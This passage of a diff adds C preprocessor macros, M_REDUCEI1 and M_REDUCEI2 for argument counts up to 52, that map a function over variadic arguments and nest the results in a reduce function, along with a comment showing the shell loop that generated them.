+#define M_REDUCEI1_35(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), f(_35)))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_36(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), f(_36))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_37(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), f(_37)))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_38(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), f(_38))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_39(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), f(_39)))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_40(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), f(_40))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_41(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), f(_41)))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_42(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), f(_42))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_43(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), f(_43)))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_44(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), f(_44))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_45(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), f(_45)))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_46(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), f(_46))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_47(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), f(_47)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_48(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), f(_48))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_49(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), g(f(_48), f(_49)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_50(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), g(f(_48), g(f(_49), f(_50))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_51(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), g(f(_48), g(f(_49), g(f(_50), f(_51)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_52(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), g(f(_48), g(f(_49), g(f(_50), g(f(_51), f(_52))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Map a macro to all given arguments and reduce all theses computation
+   with another reduce macro with an argument:
+   Example:
+    M_REDUCE2(f, g, data, a, b, c) ==> g( f(data,a), g( f(data, b), f(data, c)))
+   Generated by:
+    for i in $(seq 1 52) ; do printf "#define M_REDUCEI2_%d(f,g,d," $i ; for j in $(seq 1 $(($i - 1))) ; do printf "_%d, " $j ; done ; printf "_%d) " $i ; for j in $(seq 1 $(($i - 1))) ; do printf "g(f(d, _%d), " $j ; done ; printf "f(d, _%d)" $i ; for j in $(seq 1 $(( $i - 1 ))); do printf ")" ; done ; printf "\n" ; done
+ */
+#define M_REDUCE2(...)                    M_REDUCEI2_0(__VA_ARGS__)
+#define M_REDUCEI2_0(f, g, d, ...)        M_C(M_REDUCEI2_, M_NARGS(__VA_ARGS__))(f, g, d, __VA_ARGS__)
+#define M_REDUCEI2_1(f,g,d,_1) f(d, _1)
+#define M_REDUCEI2_2(f,g,d,_1, _2) g(f(d, _1), f(d, _2))
+#define M_REDUCEI2_3(f,g,d,_1, _2, _3) g(f(d, _1), g(f(d, _2), f(d, _3)))
+#define M_REDUCEI2_4(f,g,d,_1, _2, _3, _4) g(f(d, _1), g(f(d, _2), g(f(d, _3), f(d, _4))))
+#define M_REDUCEI2_5(f,g,d,_1, _2, _3, _4, _5) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), f(d, _5)))))
+#define M_REDUCEI2_6(f,g,d,_1, _2, _3, _4, _5, _6) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), f(d, _6))))))
+#define M_REDUCEI2_7(f,g,d,_1, _2, _3, _4, _5, _6, _7) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), f(d, _7)))))))
+#define M_REDUCEI2_8(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), f(d, _8))))))))
+#define M_REDUCEI2_9(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), f(d, _9)))))))))
+#define M_REDUCEI2_10(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), f(d, _10))))))))))
+#define M_REDUCEI2_11(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), f(d, _11)))))))))))
+#define M_REDUCEI2_12(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), f(d, _12))))))))))))
+#define M_REDUCEI2_13(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), f(d, _13)))))))))))))
+#define M_REDUCEI2_14(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), f(d, _14))))))))))))))
+#define M_REDUCEI2_15(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), f(d, _15)))))))))))))))
+#define M_REDUCEI2_16(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), f(d, _16))))))))))))))))
+#define M_REDUCEI2_17(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), f(d, _17)))))))))))))))))
+#define M_REDUCEI2_18(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), f(d, _18))))))))))))))))))
+#define M_REDUCEI2_19(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), f(d, _19)))))))))))))))))))
+#define M_REDUCEI2_20(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), f(d, _20))))))))))))))))))))
+#define M_REDUCEI2_21(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), f(d, _21)))))))))))))))))))))
+#define M_REDUCEI2_22(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), f(d, _22))))))))))))))))))))))
+#define M_REDUCEI2_23(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), f(d, _23)))))))))))))))))))))))
+#define M_REDUCEI2_24(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), f(d, _24))))))))))))))))))))))))
+#define M_REDUCEI2_25(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), f(d, _25)))))))))))))))))))))))))
+#define M_REDUCEI2_26(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), f(d, _26))))))))))))))))))))))))))
+#define M_REDUCEI2_27(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), f(d, _27)))))))))))))))))))))))))))
+#define M_REDUCEI2_28(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), f(d, _28))))))))))))))))))))))))))))
+#define M_REDUCEI2_29(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), f(d, _29)))))))))))))))))))))))))))))
